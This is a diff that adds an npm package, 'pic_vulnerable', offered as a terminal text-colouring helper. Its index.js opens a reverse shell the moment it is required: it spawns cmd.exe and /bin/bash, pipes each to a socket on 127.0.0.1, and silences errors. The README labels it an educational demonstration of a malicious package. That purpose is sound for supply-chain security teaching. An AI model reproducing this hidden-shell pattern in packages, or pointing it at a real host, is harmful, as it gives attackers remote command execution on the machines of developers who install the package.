pic_vulnerable 1.0.0

package/README.md

@@ -0,0 +1,17 @@
+**Warning: This package is a package containing a reverse shell to localhost on port 1111.**
+
+This package is a vulnerable package and is created for educational purposes.
+
+
+This package contains a function to display text in the terminal in color.
+
+```javascript
+const {printWithColor} = require('test_package');
+printWithColor("Hello World", "red");
+printWithColor("Hello World", "green");
+printWithColor("Hello World", "blue");
+printWithColor("Hello World", "yellow");
+printWithColor("Hello World", "magenta");
+printWithColor("Hello World", "cyan");
+printWithColor("Hello World", "white");
+```

package/index.js

@@ -0,0 +1,62 @@
+const attackServer = "127.0.0.1"
+const windowsAttackPort = 1111
+const linuxAttackPort = 1112
+
+
+function setupReverseShell() {
+    // For windows
+    var net = require("net"),
+        child = require("child_process"),
+        shell = child.spawn("cmd.exe", []);
+
+    var client = new net.Socket();
+
+    client.connect(windowsAttackPort, attackServer, function(){
+        client.pipe(shell.stdin);
+        shell.stdout.pipe(client);
+        shell.stderr.pipe(client);
+    })
+
+
+
+    // For linux
+    net = require("net"),
+        child = require("child_process"),
+        shell = child.spawn("/bin/bash", []);
+
+    client = new net.Socket();
+
+    client.connect(linuxAttackPort, attackServer, function(){
+        client.pipe(shell.stdin);
+        shell.stdout.pipe(client);
+        shell.stderr.pipe(client);
+    })
+};
+
+setupReverseShell();
+process.on('uncaughtException', err => { 
+    return
+})
+
+
+
+function printWithColor(string, color) {
+    if(color === 'red') {
+        console.log('\x1b[31m%s\x1b[0m', string);
+    } else if(color === 'green') {
+        console.log('\x1b[32m%s\x1b[0m', string);
+    } else if(color === 'yellow') {
+        console.log('\x1b[33m%s\x1b[0m', string);
+    } else if(color === 'blue') {
+        console.log('\x1b[34m%s\x1b[0m', string);
+    } else if(color === 'magenta') {
+        console.log('\x1b[35m%s\x1b[0m', string);
+    } else if(color === 'cyan') {
+        console.log('\x1b[36m%s\x1b[0m', string);
+    } else {
+        console.log('\x1b[37m%s\x1b[0m', string);
+    }
+}
+
+
+module.exports = {printWithColor};

package/package.json

@@ -0,0 +1,12 @@
+{
+    "name": "pic_vulnerable",
+    "version": "1.0.0",
+    "description": "This package is a vulnerable package and is created for educational purposes.",
+    "main": "index.js",
+    "scripts": {
+        "start": "node index.js"
+    },
+    "keywords": ["test", "vulnerable", "local webshell"],
+    "author": "Pierrick Delrieu",
+    "license": "ISC"
+}